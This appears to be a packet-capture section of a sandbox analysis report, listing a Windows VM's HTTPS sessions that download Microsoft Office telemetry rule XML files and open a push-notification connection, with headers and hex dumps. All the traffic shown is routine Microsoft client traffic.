2024-11-17 00:38:29 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:29 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:29 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:29 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: bcf92b81-701e-000d-51b1-376de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003829Z-164f84587bfdl84ghC1DFWbbhc00000003u0000000003ue7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:29 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:30 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:30 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:30 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 152871bd-d01e-002b-2382-3725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003830Z-16547b76f7f5b5tthC1DFWuk84000000028g000000001py7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:30 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:30 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:30 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:30 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: faeecedf-001e-0034-1179-36dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003830Z-164f84587bfdfkt7hC1DFW4fas00000001fg00000000hygq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:30 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:30 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:30 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:30 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 1c255c34-701e-0053-4dbc-373a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003830Z-16547b76f7fffb7lhC1DFWdsxg00000003qg00000000cyfv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:30 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:30 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:30 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:30 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: d6bfd382-901e-00ac-633e-38b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003830Z-164f84587bfbvgrghC1DFWbs7w00000003h0000000008ykq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 00:38:30 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:30 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:30 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:30 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 9c34710c-f01e-0071-6c8a-37431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003830Z-164f84587bfm8kdnhC1DFWey4g00000003sg000000000215 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:30 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:31 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:31 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:31 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: bc853cf7-701e-006f-6009-37afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003831Z-1866b5c5fbbzzh8chC1DFWdrc40000000390000000006zz3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:31 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:31 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:31 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:31 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 9d36fa3e-201e-00aa-2ec7-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003831Z-164f84587bfdfkt7hC1DFW4fas00000001g000000000hgam x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 00:38:31 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:31 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:31 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:31 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 6763c5ef-a01e-000d-6fc4-37d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003831Z-16547b76f7fht2hfhC1DFWbngg00000003w000000000k7c7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:31 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49810	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:31 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 54 59 76 33 5a 39 2f 49 47 55 2b 44 57 4e 44 6b 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 31 33 64 36 62 38 31 31 62 35 33 32 61 65 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: TYv3Z9/IGU+DWNDk.1Context: 113d6b811b532ae0
2024-11-17 00:38:31 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-17 00:38:31 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 54 59 76 33 5a 39 2f 49 47 55 2b 44 57 4e 44 6b 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 31 33 64 36 62 38 31 31 62 35 33 32 61 65 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 61 6f 75 44 76 36 66 57 63 77 32 4b 58 6c 4e 6a 61 4b 6b 32 4c 71 54 4f 61 7a 72 34 62 46 76 76 52 42 44 72 71 54 46 4a 4b 6e 53 2b 55 49 2b 54 6a 51 77 62 43 4f 61 4c 4b 2f 47 6e 6e 6b 35 36 6e 73 6e 35 4e 4b 38 5a 37 70 4f 4d 4a 55 6d 36 6b 4e 6d 38 4d 72 42 69 45 68 43 52 39 7a 65 4a 4e 39 47 37 37 4a 32 4c 30 58 2b 6a 6d Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: TYv3Z9/IGU+DWNDk.2Context: 113d6b811b532ae0<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAaouDv6fWcw2KXlNjaKk2LqTOazr4bFvvRBDrqTFJKnS+UI+TjQwbCOaLK/Gnnk56nsn5NK8Z7pOMJUm6kNm8MrBiEhCR9zeJN9G77J2L0X+jm
2024-11-17 00:38:31 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 54 59 76 33 5a 39 2f 49 47 55 2b 44 57 4e 44 6b 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 31 33 64 36 62 38 31 31 62 35 33 32 61 65 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: TYv3Z9/IGU+DWNDk.3Context: 113d6b811b532ae0<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-17 00:38:31 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
